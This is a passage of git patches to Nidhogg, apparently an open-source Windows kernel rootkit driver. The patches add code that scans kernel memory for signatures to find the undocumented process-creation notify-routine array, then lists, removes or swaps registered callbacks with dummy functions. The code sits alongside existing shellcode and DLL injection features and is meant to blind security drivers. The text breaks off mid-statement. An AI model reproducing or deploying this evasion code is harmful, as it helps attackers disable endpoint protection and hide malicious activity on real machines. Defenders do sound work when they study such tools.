From f0a8528bb1fb362354facbcaa6f19a7a122de7ff Mon Sep 17 00:00:00 2001 From: idov31 <62358580+Idov31@users.noreply.github.com> Date: Sat, 29 Apr 2023 21:38:25 +0300 Subject: [PATCH 1/9] Added list PsProcessNotify routine --- Nidhogg/AntiAnalysis.hpp | 152 +++++++++++++++++++++++++++++-- Nidhogg/MemoryUtils.hpp | 27 +++--- Nidhogg/NidhoggDeviceControl.hpp | 48 ++++++++-- Nidhogg/NidhoggUtils.h | 17 +++- Nidhogg/WindowsTypes.hpp | 1 + 5 files changed, 214 insertions(+), 31 deletions(-) diff --git a/Nidhogg/AntiAnalysis.hpp b/Nidhogg/AntiAnalysis.hpp index d427504..041b8cd 100644 --- a/Nidhogg/AntiAnalysis.hpp +++ b/Nidhogg/AntiAnalysis.hpp @@ -1,9 +1,20 @@ #pragma once #include "pch.h" -NTSTATUS RestoreObCallback(KernelCallback* Callback); -NTSTATUS RemoveObCallback(KernelCallback* Callback); -NTSTATUS ListObCallbacks(CallbacksList* Callbacks); +constexpr UCHAR PspCreateProcessNotifyRoutineSignature[] = { 0x4C, 0x8D, 0xCC }; +constexpr UCHAR PspSetCreateProcessNotifyRoutineSignature[] = { 0xE8, 0xCC }; +constexpr UCHAR PspCreateProcessNotifyRoutineCountExSignature[] = { 0xF0, 0xFF, 0x05, 0xCC }; +constexpr SIZE_T PspSetCreateProcessNotifyRoutineSignatureDistance = 0x20; +constexpr SIZE_T PspCreateProcessNotifyRoutineDistance = 0xC3; +constexpr SIZE_T PsNotifyRoutinesRoutineOffset = 5; +constexpr SIZE_T RoutinesListOffset = 7; +constexpr SIZE_T PsNotifyRoutinesRoutineCountOffsetEx = 0xB; +constexpr SIZE_T PsNotifyRoutinesRoutineCountOffset = 0xF; + +NTSTATUS RestoreCallback(KernelCallback* Callback); +NTSTATUS RemoveCallback(KernelCallback* Callback); +NTSTATUS ListObCallbacks(ObCallbacksList* Callbacks); +NTSTATUS ListPsNotifyRoutines(PsRoutinesList* Callbacks); NTSTATUS MatchCallback(PVOID callack, CHAR driverName[MAX_DRIVER_PATH]); OB_PREOP_CALLBACK_STATUS ObPreOpenDummyFunction(PVOID RegistrationContext, POB_PRE_OPERATION_INFORMATION Info); VOID ObPostOpenDummyFunction(PVOID RegistrationContext, POB_POST_OPERATION_INFORMATION Info); @@ -20,7 +31,7 @@ NTSTATUS RemoveDisabledCallback(KernelCallback* Callback, DisabledKernelCallback * Returns: * @status [NTSTATUS] -- Whether successfuly removed or not. */ -NTSTATUS RestoreObCallback(KernelCallback* Callback) { +NTSTATUS RestoreCallback(KernelCallback* Callback) { DisabledKernelCallback callback; NTSTATUS status = STATUS_NOT_FOUND; PFULL_OBJECT_TYPE objectType = NULL; @@ -32,16 +43,21 @@ NTSTATUS RestoreObCallback(KernelCallback* Callback) { case ObThreadType: objectType = (PFULL_OBJECT_TYPE)*PsThreadType; break; + case PsCreateProcessType: + return PsSetCreateProcessNotifyRoutine((PCREATE_PROCESS_NOTIFY_ROUTINE)Callback->CallbackAddress, FALSE); + case PsCreateProcessTypeEx: + return PsSetCreateProcessNotifyRoutineEx((PCREATE_PROCESS_NOTIFY_ROUTINE_EX)Callback->CallbackAddress, FALSE); default: status = STATUS_INVALID_PARAMETER; break; } - AutoLock locker(aaGlobals.Lock); - status = RemoveDisabledCallback(Callback, &callback); if (!NT_SUCCESS(status)) return status; + AutoLock locker(aaGlobals.Lock); + status = RemoveDisabledCallback(Callback, &callback); + ExAcquirePushLockExclusive((PULONG_PTR)&objectType->TypeLock); POB_CALLBACK_ENTRY currentObjectCallback = (POB_CALLBACK_ENTRY)(&objectType->CallbackList); @@ -75,7 +91,7 @@ NTSTATUS RestoreObCallback(KernelCallback* Callback) { * Returns: * @status [NTSTATUS] -- Whether successfuly removed or not. */ -NTSTATUS RemoveObCallback(KernelCallback* Callback) { +NTSTATUS RemoveCallback(KernelCallback* Callback) { NTSTATUS status = STATUS_NOT_FOUND; PFULL_OBJECT_TYPE objectType = NULL; ULONG64 operationAddress = 0; @@ -87,6 +103,10 @@ NTSTATUS RemoveObCallback(KernelCallback* Callback) { case ObThreadType: objectType = (PFULL_OBJECT_TYPE)*PsThreadType; break; + case PsCreateProcessType: + return PsSetCreateProcessNotifyRoutine((PCREATE_PROCESS_NOTIFY_ROUTINE)Callback->CallbackAddress, TRUE); + case PsCreateProcessTypeEx: + return PsSetCreateProcessNotifyRoutineEx((PCREATE_PROCESS_NOTIFY_ROUTINE_EX)Callback->CallbackAddress, TRUE); default: status = STATUS_INVALID_PARAMETER; break; @@ -127,17 +147,131 @@ NTSTATUS RemoveObCallback(KernelCallback* Callback) { return status; } +/* +* Description: +* ListPsNotifyRoutines is responsible to list all registered PsNotify routines. +* +* Parameters: +* @Callbacks [CallbacksList*] -- All callbacks as list. +* +* Returns: +* @status [NTSTATUS] -- Whether successfuly listed or not. +*/ +NTSTATUS ListPsNotifyRoutines(PsRoutinesList* Callbacks) { + NTSTATUS status = STATUS_SUCCESS; + PVOID searchedRoutineAddress = NULL; + UCHAR* targetFunctionSignature = NULL; + UCHAR* listSignature = NULL; + UCHAR* listCountSignature = NULL; + ULONG foundIndex = 0; + SIZE_T targetFunctionDistance = 0; + SIZE_T listDistance = 0; + SIZE_T targetFunctionSigLen = 0; + SIZE_T listSigLen = 0; + SIZE_T listCountSigLen = 0; + SIZE_T countOffset = 0; + ULONG64 currentRoutine = 0; + + CHAR driverName[MAX_DRIVER_PATH] = { 0 }; + + switch (Callbacks->Type) { + case PsCreateProcessTypeEx: + case PsCreateProcessType: { + targetFunctionSigLen = sizeof(PspSetCreateProcessNotifyRoutineSignature); + targetFunctionSignature = (UCHAR*)ExAllocatePoolWithTag(PagedPool, targetFunctionSigLen, DRIVER_TAG); + + if (!targetFunctionSignature) { + status = STATUS_INSUFFICIENT_RESOURCES; + break; + } + + RtlCopyMemory(targetFunctionSignature, PspSetCreateProcessNotifyRoutineSignature, targetFunctionSigLen); + searchedRoutineAddress = (PVOID)PsSetCreateProcessNotifyRoutineEx; + targetFunctionDistance = PspSetCreateProcessNotifyRoutineSignatureDistance; + + listSigLen = sizeof(PspCreateProcessNotifyRoutineSignature); + listSignature = (UCHAR*)ExAllocatePoolWithTag(PagedPool, listSigLen, DRIVER_TAG); + + if (!listSignature) { + status = STATUS_INSUFFICIENT_RESOURCES; + break; + } + + RtlCopyMemory(listSignature, PspCreateProcessNotifyRoutineSignature, listSigLen); + listDistance = PspCreateProcessNotifyRoutineDistance; + + listCountSigLen = sizeof(PspCreateProcessNotifyRoutineCountExSignature); + listCountSignature = (UCHAR*)ExAllocatePoolWithTag(PagedPool, listCountSigLen, DRIVER_TAG); + + if (!listCountSignature) { + status = STATUS_INSUFFICIENT_RESOURCES; + break; + } + + RtlCopyMemory(listCountSignature, PspCreateProcessNotifyRoutineCountExSignature, listCountSigLen); + countOffset = PsNotifyRoutinesRoutineCountOffsetEx; + break; + } + default: + status = STATUS_INVALID_PARAMETER; + break; + } + + if (!NT_SUCCESS(status)) + goto Cleanup; + + // Find offset of PspCreateProcessNotifyRoutine + PLONG searchedRoutineOffset = (PLONG)FindPattern((PCUCHAR)targetFunctionSignature, 0xCC, targetFunctionSigLen - 1, searchedRoutineAddress, targetFunctionDistance, &foundIndex, targetFunctionSigLen - 1); + + if (!searchedRoutineOffset) + return STATUS_NOT_FOUND; + + searchedRoutineAddress = (PUCHAR)searchedRoutineAddress + *(searchedRoutineOffset) + foundIndex + PsNotifyRoutinesRoutineOffset; + + PLONG routinesListOffset = (PLONG)FindPattern((PCUCHAR)listSignature, 0xCC, listSigLen - 1, searchedRoutineAddress, listDistance, &foundIndex, listSigLen); + + if (!routinesListOffset) + return STATUS_NOT_FOUND; + PUCHAR routinesList = (PUCHAR)searchedRoutineAddress + *(routinesListOffset) + foundIndex + RoutinesListOffset; + + PLONG routinesLengthOffset = (PLONG)FindPattern((PCUCHAR)listCountSignature, 0xCC, listCountSigLen - 1, searchedRoutineAddress, listDistance, &foundIndex, listCountSigLen - 1); + + if (!routinesLengthOffset) + return STATUS_NOT_FOUND; + + if (Callbacks->Type == PsCreateProcessType) + countOffset = PsNotifyRoutinesRoutineCountOffset; + Callbacks->NumberOfRoutines = *(PLONG)((PUCHAR)searchedRoutineAddress + *(routinesLengthOffset) + foundIndex + countOffset); + + for (SIZE_T i = 0; i < Callbacks->NumberOfRoutines; i++) { + currentRoutine = *(PULONG64)(routinesList + (i * 8)); + Callbacks->Routines[i].CallbackAddress = *(PULONG64)(currentRoutine &= ~(1ULL << 3) + 0x1); + + if (NT_SUCCESS(MatchCallback((PVOID)Callbacks->Routines[i].CallbackAddress, driverName))) + strcpy_s(Callbacks->Routines[i].DriverName, driverName); + } + +Cleanup: + if (listCountSignature) + ExFreePoolWithTag(listCountSignature, DRIVER_TAG); + if (listSignature) + ExFreePoolWithTag(listSignature, DRIVER_TAG); + if (targetFunctionSignature) + ExFreePoolWithTag(targetFunctionSignature, DRIVER_TAG); + return status; +} + /* * Description: * ListObCallbacks is responsible to list all registered ObCallbacks of certain type. * * Parameters: -* @Callbacks [ObCallbacksList*] -- All callbacks as list. +* @Callbacks [CallbacksList*] -- All callbacks as list. * * Returns: * @status [NTSTATUS] -- Whether successfuly listed or not. */ -NTSTATUS ListObCallbacks(CallbacksList* Callbacks) { +NTSTATUS ListObCallbacks(ObCallbacksList* Callbacks) { NTSTATUS status = STATUS_SUCCESS; PFULL_OBJECT_TYPE objectType = NULL; CHAR driverName[MAX_DRIVER_PATH] = {0}; diff --git a/Nidhogg/MemoryUtils.hpp b/Nidhogg/MemoryUtils.hpp index 0003bdd..bc624fb 100644 --- a/Nidhogg/MemoryUtils.hpp +++ b/Nidhogg/MemoryUtils.hpp @@ -10,7 +10,7 @@ NTSTATUS PatchModule(PatchedModule* ModuleInformation); NTSTATUS InjectShellcodeAPC(ShellcodeInformation* ShellcodeInformation); NTSTATUS InjectDllAPC(DllInformation* DllInfo); NTSTATUS FindThread(HANDLE pid, PETHREAD* Thread); -PVOID FindPattern(PCUCHAR pattern, UCHAR wildcard, ULONG_PTR len, const PVOID base, ULONG_PTR size); +PVOID FindPattern(PCUCHAR pattern, UCHAR wildcard, ULONG_PTR len, const PVOID base, ULONG_PTR size, PULONG foundIndex, ULONG relativeOffset); NTSTATUS GetSSDTAddress(); PVOID GetSSDTFunctionAddress(CHAR* functionName); VOID ApcInjectionCallback(PKAPC Apc, PKNORMAL_ROUTINE* NormalRoutine, PVOID* NormalContext, PVOID* SystemArgument1, PVOID* SystemArgument2); @@ -841,7 +841,7 @@ NTSTATUS GetSSDTAddress() { for (PIMAGE_SECTION_HEADER section = firstSection; section < firstSection + ntHeaders->FileHeader.NumberOfSections; section++) { if (strcmp((const char*)section->Name, ".text") == 0) { - ssdtRelativeLocation = FindPattern(pattern, 0xCC, sizeof(pattern) - 1, (PUCHAR)ntoskrnlBase + section->VirtualAddress, section->Misc.VirtualSize); + ssdtRelativeLocation = FindPattern(pattern, 0xCC, sizeof(pattern) - 1, (PUCHAR)ntoskrnlBase + section->VirtualAddress, section->Misc.VirtualSize, NULL, NULL); if (ssdtRelativeLocation) { status = STATUS_SUCCESS; @@ -862,16 +862,18 @@ NTSTATUS GetSSDTAddress() { * FindPattern is responsible for finding a pattern in memory range. * * Parameters: -* @pattern [PCUCHAR] -- Pattern to search for. -* @wildcard [UCHAR] -- Used wildcard. -* @len [ULONG_PTR] -- Pattern length. -* @base [const PVOID] -- Base address for searching. -* @size [ULONG_PTR] -- Address range to search in. +* @pattern [PCUCHAR] -- Pattern to search for. +* @wildcard [UCHAR] -- Used wildcard. +* @len [ULONG_PTR] -- Pattern length. +* @base [const PVOID] -- Base address for searching. +* @size [ULONG_PTR] -- Address range to search in. +* @foundIndex [PULONG] -- Index of the found signature. +* @relativeOffset [ULONG] -- If wanted, relative offset to get from. * * Returns: -* @address [PVOID] -- Pattern's address if found, else 0. +* @address [PVOID] -- Pattern's address if found, else 0. */ -PVOID FindPattern(PCUCHAR pattern, UCHAR wildcard, ULONG_PTR len, const PVOID base, ULONG_PTR size) { +PVOID FindPattern(PCUCHAR pattern, UCHAR wildcard, ULONG_PTR len, const PVOID base, ULONG_PTR size, PULONG foundIndex, ULONG relativeOffset) { bool found; if (pattern == NULL || base == NULL || len == 0 || size == 0) @@ -887,8 +889,11 @@ PVOID FindPattern(PCUCHAR pattern, UCHAR wildcard, ULONG_PTR len, const PVOID ba } } - if (found) - return (PUCHAR)base + i; + if (found) { + if (foundIndex) + *foundIndex = i; + return (PUCHAR)base + i + relativeOffset; + } } return NULL; diff --git a/Nidhogg/NidhoggDeviceControl.hpp b/Nidhogg/NidhoggDeviceControl.hpp index 5d0fb3f..8ffad51 100644 --- a/Nidhogg/NidhoggDeviceControl.hpp +++ b/Nidhogg/NidhoggDeviceControl.hpp @@ -32,9 +32,10 @@ #define IOCTL_NIDHOGG_INJECT_SHELLCODE CTL_CODE(0x8000, 0x818, METHOD_BUFFERED, FILE_ANY_ACCESS) #define IOCTL_NIDHOGG_INJECT_DLL CTL_CODE(0x8000, 0x819, METHOD_BUFFERED, FILE_ANY_ACCESS) -#define IOCTL_NIDHOGG_LIST_CALLBACKS CTL_CODE(0x8000, 0x81A, METHOD_BUFFERED, FILE_ANY_ACCESS) -#define IOCTL_NIDHOGG_REMOVE_CALLBACK CTL_CODE(0x8000, 0x81B, METHOD_BUFFERED, FILE_ANY_ACCESS) -#define IOCTL_NIDHOGG_RESTORE_CALLBACK CTL_CODE(0x8000, 0x81C, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_NIDHOGG_LIST_OBCALLBACKS CTL_CODE(0x8000, 0x81A, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_NIDHOGG_LIST_PSROUTINES CTL_CODE(0x8000, 0x81B, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_NIDHOGG_REMOVE_CALLBACK CTL_CODE(0x8000, 0x81C, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_NIDHOGG_RESTORE_CALLBACK CTL_CODE(0x8000, 0x81D, METHOD_BUFFERED, FILE_ANY_ACCESS) // ******************************************************************************************************* /* @@ -1120,16 +1121,16 @@ NTSTATUS NidhoggDeviceControl(PDEVICE_OBJECT, PIRP Irp) { break; } - case IOCTL_NIDHOGG_LIST_CALLBACKS: + case IOCTL_NIDHOGG_LIST_OBCALLBACKS: { auto size = stack->Parameters.DeviceIoControl.InputBufferLength; - if (size % sizeof(CallbacksList) != 0) { + if (size % sizeof(ObCallbacksList) != 0) { status = STATUS_INVALID_BUFFER_SIZE; break; } - auto data = (CallbacksList*)Irp->AssociatedIrp.SystemBuffer; + auto data = (ObCallbacksList*)Irp->AssociatedIrp.SystemBuffer; if (data->NumberOfCallbacks == 0 && data->Callbacks) { status = STATUS_INVALID_PARAMETER; @@ -1146,7 +1147,32 @@ NTSTATUS NidhoggDeviceControl(PDEVICE_OBJECT, PIRP Irp) { status = STATUS_INVALID_PARAMETER; } - len += sizeof(CallbacksList); + len += sizeof(ObCallbacksList); + break; + } + + case IOCTL_NIDHOGG_LIST_PSROUTINES: + { + auto size = stack->Parameters.DeviceIoControl.InputBufferLength; + + if (size % sizeof(PsRoutinesList) != 0) { + status = STATUS_INVALID_BUFFER_SIZE; + break; + } + + auto data = (PsRoutinesList*)Irp->AssociatedIrp.SystemBuffer; + + switch (data->Type) { + case PsCreateProcessTypeEx: + case PsCreateProcessType: { + status = ListPsNotifyRoutines(data); + break; + } + default: + status = STATUS_INVALID_PARAMETER; + } + + len += sizeof(PsRoutinesList); break; } @@ -1167,9 +1193,11 @@ NTSTATUS NidhoggDeviceControl(PDEVICE_OBJECT, PIRP Irp) { } switch (data->Type) { + case PsCreateProcessType: + case PsCreateProcessTypeEx: case ObProcessType: case ObThreadType: { - status = RemoveObCallback(data); + status = RemoveCallback(data); break; } default: @@ -1197,9 +1225,11 @@ NTSTATUS NidhoggDeviceControl(PDEVICE_OBJECT, PIRP Irp) { } switch (data->Type) { + case PsCreateProcessType: + case PsCreateProcessTypeEx: case ObProcessType: case ObThreadType: { - status = RestoreObCallback(data); + status = RestoreCallback(data); break; } default: diff --git a/Nidhogg/NidhoggUtils.h b/Nidhogg/NidhoggUtils.h index be3a140..3415fcf 100644 --- a/Nidhogg/NidhoggUtils.h +++ b/Nidhogg/NidhoggUtils.h @@ -37,7 +37,9 @@ EnabledFeatures Features; // --- AntiAnalysis structs ---------------------------------------------------- enum CallbackType { ObProcessType, - ObThreadType + ObThreadType, + PsCreateProcessTypeEx, + PsCreateProcessType }; struct KernelCallback { @@ -57,12 +59,23 @@ struct ObCallback { CHAR DriverName[MAX_DRIVER_PATH]; }; -struct CallbacksList { +struct PsRoutine { + ULONG64 CallbackAddress; + CHAR DriverName[MAX_DRIVER_PATH]; +}; + +struct ObCallbacksList { CallbackType Type; ULONG NumberOfCallbacks; ObCallback* Callbacks; }; +struct PsRoutinesList { + CallbackType Type; + ULONG NumberOfRoutines; + PsRoutine* Routines; +}; + struct AntiAnalysisGlobals { DisabledKernelCallback DisabledCallbacks[MAX_KERNEL_CALLBACKS]; ULONG DisabledCallbacksCount; diff --git a/Nidhogg/WindowsTypes.hpp b/Nidhogg/WindowsTypes.hpp index 2a822e4..24c07b2 100644 --- a/Nidhogg/WindowsTypes.hpp +++ b/Nidhogg/WindowsTypes.hpp @@ -633,6 +633,7 @@ typedef struct _FULL_OBJECT_TYPE { LIST_ENTRY CallbackList; } FULL_OBJECT_TYPE, * PFULL_OBJECT_TYPE; + typedef struct _OB_CALLBACK OB_CALLBACK; typedef struct _OB_CALLBACK_ENTRY { From 76b6cf6d7e5ddb58a8b80172a153028d15c82833 Mon Sep 17 00:00:00 2001 From: idov31 <62358580+Idov31@users.noreply.github.com> Date: Sun, 30 Apr 2023 21:54:49 +0300 Subject: [PATCH 2/9] Process routines working --- Nidhogg/AntiAnalysis.hpp | 249 ++++++++++++++++++++----------- Nidhogg/NidhoggDeviceControl.hpp | 8 +- 2 files changed, 167 insertions(+), 90 deletions(-) diff --git a/Nidhogg/AntiAnalysis.hpp b/Nidhogg/AntiAnalysis.hpp index 041b8cd..5ddb2c4 100644 --- a/Nidhogg/AntiAnalysis.hpp +++ b/Nidhogg/AntiAnalysis.hpp @@ -8,16 +8,18 @@ constexpr SIZE_T PspSetCreateProcessNotifyRoutineSignatureDistance = 0x20; constexpr SIZE_T PspCreateProcessNotifyRoutineDistance = 0xC3; constexpr SIZE_T PsNotifyRoutinesRoutineOffset = 5; constexpr SIZE_T RoutinesListOffset = 7; -constexpr SIZE_T PsNotifyRoutinesRoutineCountOffsetEx = 0xB; -constexpr SIZE_T PsNotifyRoutinesRoutineCountOffset = 0xF; +constexpr SIZE_T PsNotifyRoutinesRoutineCountOffsetEx = 0x7; +constexpr SIZE_T PsNotifyRoutinesRoutineCountOffset = 0xB; NTSTATUS RestoreCallback(KernelCallback* Callback); NTSTATUS RemoveCallback(KernelCallback* Callback); NTSTATUS ListObCallbacks(ObCallbacksList* Callbacks); -NTSTATUS ListPsNotifyRoutines(PsRoutinesList* Callbacks); +NTSTATUS ListPsNotifyRoutines(PsRoutinesList* Callbacks, ULONG64 ReplacerFunction, ULONG64 ReplacedFunction); NTSTATUS MatchCallback(PVOID callack, CHAR driverName[MAX_DRIVER_PATH]); OB_PREOP_CALLBACK_STATUS ObPreOpenDummyFunction(PVOID RegistrationContext, POB_PRE_OPERATION_INFORMATION Info); VOID ObPostOpenDummyFunction(PVOID RegistrationContext, POB_POST_OPERATION_INFORMATION Info); +void CreateProcessNotifyExDummyFunction(PEPROCESS Process, HANDLE ProcessId, PPS_CREATE_NOTIFY_INFO CreateInfo); +void CreateProcessNotifyDummyFunction(HANDLE ParentId, HANDLE ProcessId, BOOLEAN Create); NTSTATUS AddDisabledCallback(DisabledKernelCallback Callback); NTSTATUS RemoveDisabledCallback(KernelCallback* Callback, DisabledKernelCallback* DisabledCallback); @@ -32,52 +34,63 @@ NTSTATUS RemoveDisabledCallback(KernelCallback* Callback, DisabledKernelCallback * @status [NTSTATUS] -- Whether successfuly removed or not. */ NTSTATUS RestoreCallback(KernelCallback* Callback) { - DisabledKernelCallback callback; + DisabledKernelCallback callback{}; NTSTATUS status = STATUS_NOT_FOUND; - PFULL_OBJECT_TYPE objectType = NULL; - switch (Callback->Type) { - case ObProcessType: - objectType = (PFULL_OBJECT_TYPE)*PsProcessType; - break; - case ObThreadType: - objectType = (PFULL_OBJECT_TYPE)*PsThreadType; - break; - case PsCreateProcessType: - return PsSetCreateProcessNotifyRoutine((PCREATE_PROCESS_NOTIFY_ROUTINE)Callback->CallbackAddress, FALSE); - case PsCreateProcessTypeEx: - return PsSetCreateProcessNotifyRoutineEx((PCREATE_PROCESS_NOTIFY_ROUTINE_EX)Callback->CallbackAddress, FALSE); - default: - status = STATUS_INVALID_PARAMETER; - break; - } + AutoLock locker(aaGlobals.Lock); + status = RemoveDisabledCallback(Callback, &callback); if (!NT_SUCCESS(status)) return status; - AutoLock locker(aaGlobals.Lock); - status = RemoveDisabledCallback(Callback, &callback); + if (Callback->Type == ObProcessType || Callback->Type == ObThreadType) { + PFULL_OBJECT_TYPE objectType = NULL; - ExAcquirePushLockExclusive((PULONG_PTR)&objectType->TypeLock); - POB_CALLBACK_ENTRY currentObjectCallback = (POB_CALLBACK_ENTRY)(&objectType->CallbackList); + switch (Callback->Type) { + case ObProcessType: + objectType = (PFULL_OBJECT_TYPE)*PsProcessType; + break; + case ObThreadType: + objectType = (PFULL_OBJECT_TYPE)*PsThreadType; + break; + } - do { - if (currentObjectCallback->Enabled && (ULONG64)currentObjectCallback->Entry == callback.Entry) { - if (currentObjectCallback->PreOperation == ObPreOpenDummyFunction) { - currentObjectCallback->PreOperation = (POB_PRE_OPERATION_CALLBACK)callback.CallbackAddress; - status = STATUS_SUCCESS; - break; - } - else if (currentObjectCallback->PostOperation == ObPostOpenDummyFunction) { - currentObjectCallback->PostOperation = (POB_POST_OPERATION_CALLBACK)callback.CallbackAddress; - status = STATUS_SUCCESS; - break; + ExAcquirePushLockExclusive((PULONG_PTR)&objectType->TypeLock); + POB_CALLBACK_ENTRY currentObjectCallback = (POB_CALLBACK_ENTRY)(&objectType->CallbackList); + + do { + if (currentObjectCallback->Enabled && (ULONG64)currentObjectCallback->Entry == callback.Entry) { + if (currentObjectCallback->PreOperation == ObPreOpenDummyFunction) { + currentObjectCallback->PreOperation = (POB_PRE_OPERATION_CALLBACK)callback.CallbackAddress; + status = STATUS_SUCCESS; + break; + } + else if (currentObjectCallback->PostOperation == ObPostOpenDummyFunction) { + currentObjectCallback->PostOperation = (POB_POST_OPERATION_CALLBACK)callback.CallbackAddress; + status = STATUS_SUCCESS; + break; + } } + currentObjectCallback = (POB_CALLBACK_ENTRY)currentObjectCallback->CallbackList.Flink; + } while ((PVOID)currentObjectCallback != (PVOID)(&objectType->CallbackList)); + + ExReleasePushLockExclusive((PULONG_PTR)&objectType->TypeLock); + } + else if (Callback->Type == PsCreateProcessType || Callback->Type == PsCreateProcessTypeEx) { + PsRoutinesList routines{}; + ULONG64 replacedFunction = 0; + routines.Type = Callback->Type; + + switch (Callback->Type) { + case PsCreateProcessType: + replacedFunction = (ULONG64)CreateProcessNotifyDummyFunction; + case PsCreateProcessTypeEx: + replacedFunction = (ULONG64)CreateProcessNotifyExDummyFunction; } - currentObjectCallback = (POB_CALLBACK_ENTRY)currentObjectCallback->CallbackList.Flink; - } while ((PVOID)currentObjectCallback != (PVOID)(&objectType->CallbackList)); - ExReleasePushLockExclusive((PULONG_PTR)&objectType->TypeLock); + status = ListPsNotifyRoutines(&routines, Callback->CallbackAddress, replacedFunction); + } + return status; } @@ -92,58 +105,70 @@ NTSTATUS RestoreCallback(KernelCallback* Callback) { * @status [NTSTATUS] -- Whether successfuly removed or not. */ NTSTATUS RemoveCallback(KernelCallback* Callback) { + DisabledKernelCallback callback{}; NTSTATUS status = STATUS_NOT_FOUND; - PFULL_OBJECT_TYPE objectType = NULL; - ULONG64 operationAddress = 0; + + if (Callback->Type == ObProcessType || Callback->Type == ObThreadType) { + PFULL_OBJECT_TYPE objectType = NULL; + ULONG64 operationAddress = 0; - switch (Callback->Type) { - case ObProcessType: - objectType = (PFULL_OBJECT_TYPE)*PsProcessType; - break; - case ObThreadType: - objectType = (PFULL_OBJECT_TYPE)*PsThreadType; - break; - case PsCreateProcessType: - return PsSetCreateProcessNotifyRoutine((PCREATE_PROCESS_NOTIFY_ROUTINE)Callback->CallbackAddress, TRUE); - case PsCreateProcessTypeEx: - return PsSetCreateProcessNotifyRoutineEx((PCREATE_PROCESS_NOTIFY_ROUTINE_EX)Callback->CallbackAddress, TRUE); - default: - status = STATUS_INVALID_PARAMETER; - break; - } + switch (Callback->Type) { + case ObProcessType: + objectType = (PFULL_OBJECT_TYPE)*PsProcessType; + break; + case ObThreadType: + objectType = (PFULL_OBJECT_TYPE)*PsThreadType; + break; + } - if (status == STATUS_INVALID_PARAMETER) - return status; + ExAcquirePushLockExclusive((PULONG_PTR)&objectType->TypeLock); + POB_CALLBACK_ENTRY currentObjectCallback = (POB_CALLBACK_ENTRY)(&objectType->CallbackList); - ExAcquirePushLockExclusive((PULONG_PTR)&objectType->TypeLock); - POB_CALLBACK_ENTRY currentObjectCallback = (POB_CALLBACK_ENTRY)(&objectType->CallbackList); + do { + if (currentObjectCallback->Enabled) { + if ((ULONG64)currentObjectCallback->PreOperation == Callback->CallbackAddress) { + operationAddress = (ULONG64)currentObjectCallback->PreOperation; + currentObjectCallback->PreOperation = ObPreOpenDummyFunction; + } + else if ((ULONG64)currentObjectCallback->PostOperation == Callback->CallbackAddress) { + operationAddress = (ULONG64)currentObjectCallback->PostOperation; + currentObjectCallback->PostOperation = ObPostOpenDummyFunction; + } - do { - if (currentObjectCallback->Enabled) { - if ((ULONG64)currentObjectCallback->PreOperation == Callback->CallbackAddress) { - operationAddress = (ULONG64)currentObjectCallback->PreOperation; - currentObjectCallback->PreOperation = ObPreOpenDummyFunction; - } - else if ((ULONG64)currentObjectCallback->PostOperation == Callback->CallbackAddress) { - operationAddress = (ULONG64)currentObjectCallback->PostOperation; - currentObjectCallback->PostOperation = ObPostOpenDummyFunction; + if (operationAddress) { + callback.CallbackAddress = operationAddress; + callback.Entry = (ULONG64)currentObjectCallback->Entry; + callback.Type = Callback->Type; + break; + } } + currentObjectCallback = (POB_CALLBACK_ENTRY)currentObjectCallback->CallbackList.Flink; + } while ((PVOID)currentObjectCallback != (PVOID)(&objectType->CallbackList)); - if (operationAddress) { - DisabledKernelCallback callback; - callback.CallbackAddress = operationAddress; - callback.Entry = (ULONG64)currentObjectCallback->Entry; - callback.Type = Callback->Type; - AutoLock locker(aaGlobals.Lock); - - status = AddDisabledCallback(callback); - break; - } + ExReleasePushLockExclusive((PULONG_PTR)&objectType->TypeLock); + } + else if (Callback->Type == PsCreateProcessType || Callback->Type == PsCreateProcessTypeEx) { + PsRoutinesList routines{}; + ULONG64 replacerFunction = 0; + routines.Type = Callback->Type; + + switch (Callback->Type) { + case PsCreateProcessType: + replacerFunction = (ULONG64)CreateProcessNotifyDummyFunction; + case PsCreateProcessTypeEx: + replacerFunction = (ULONG64)CreateProcessNotifyExDummyFunction; } - currentObjectCallback = (POB_CALLBACK_ENTRY)currentObjectCallback->CallbackList.Flink; - } while ((PVOID)currentObjectCallback != (PVOID)(&objectType->CallbackList)); - ExReleasePushLockExclusive((PULONG_PTR)&objectType->TypeLock); + status = ListPsNotifyRoutines(&routines, replacerFunction, Callback->CallbackAddress); + callback.CallbackAddress = Callback->CallbackAddress; + callback.Type = Callback->Type; + } + + if (NT_SUCCESS(status)) { + AutoLock locker(aaGlobals.Lock); + status = AddDisabledCallback(callback); + } + return status; } @@ -152,12 +177,14 @@ NTSTATUS RemoveCallback(KernelCallback* Callback) { * ListPsNotifyRoutines is responsible to list all registered PsNotify routines. * * Parameters: -* @Callbacks [CallbacksList*] -- All callbacks as list. +* @Callbacks [CallbacksList*] -- All callbacks as list. +* @ReplacerFunction [ULONG64] -- If not null, the address of the function to replace. +* @ReplacedFunction [ULONG64] -- If not null, the address of the function to be replaced. * * Returns: -* @status [NTSTATUS] -- Whether successfuly listed or not. +* @status [NTSTATUS] -- Whether successfuly listed or not. */ -NTSTATUS ListPsNotifyRoutines(PsRoutinesList* Callbacks) { +NTSTATUS ListPsNotifyRoutines(PsRoutinesList* Callbacks, ULONG64 ReplacerFunction, ULONG64 ReplacedFunction) { NTSTATUS status = STATUS_SUCCESS; PVOID searchedRoutineAddress = NULL; UCHAR* targetFunctionSignature = NULL; @@ -241,16 +268,28 @@ NTSTATUS ListPsNotifyRoutines(PsRoutinesList* Callbacks) { if (Callbacks->Type == PsCreateProcessType) countOffset = PsNotifyRoutinesRoutineCountOffset; - Callbacks->NumberOfRoutines = *(PLONG)((PUCHAR)searchedRoutineAddress + *(routinesLengthOffset) + foundIndex + countOffset); + // Callbacks->NumberOfRoutines = *(PLONG)((PUCHAR)searchedRoutineAddress + *(routinesLengthOffset) + foundIndex + countOffset); + ULONG routinesCount = *(PLONG)((PUCHAR)searchedRoutineAddress + *(routinesLengthOffset) + foundIndex + countOffset); - for (SIZE_T i = 0; i < Callbacks->NumberOfRoutines; i++) { + for (SIZE_T i = 0; i < routinesCount; i++) { currentRoutine = *(PULONG64)(routinesList + (i * 8)); - Callbacks->Routines[i].CallbackAddress = *(PULONG64)(currentRoutine &= ~(1ULL << 3) + 0x1); + currentRoutine &= ~(1ULL << 3) + 1; + + if (ReplacedFunction && ReplacerFunction) { + if (*(PULONG64)(currentRoutine) == ReplacedFunction) + 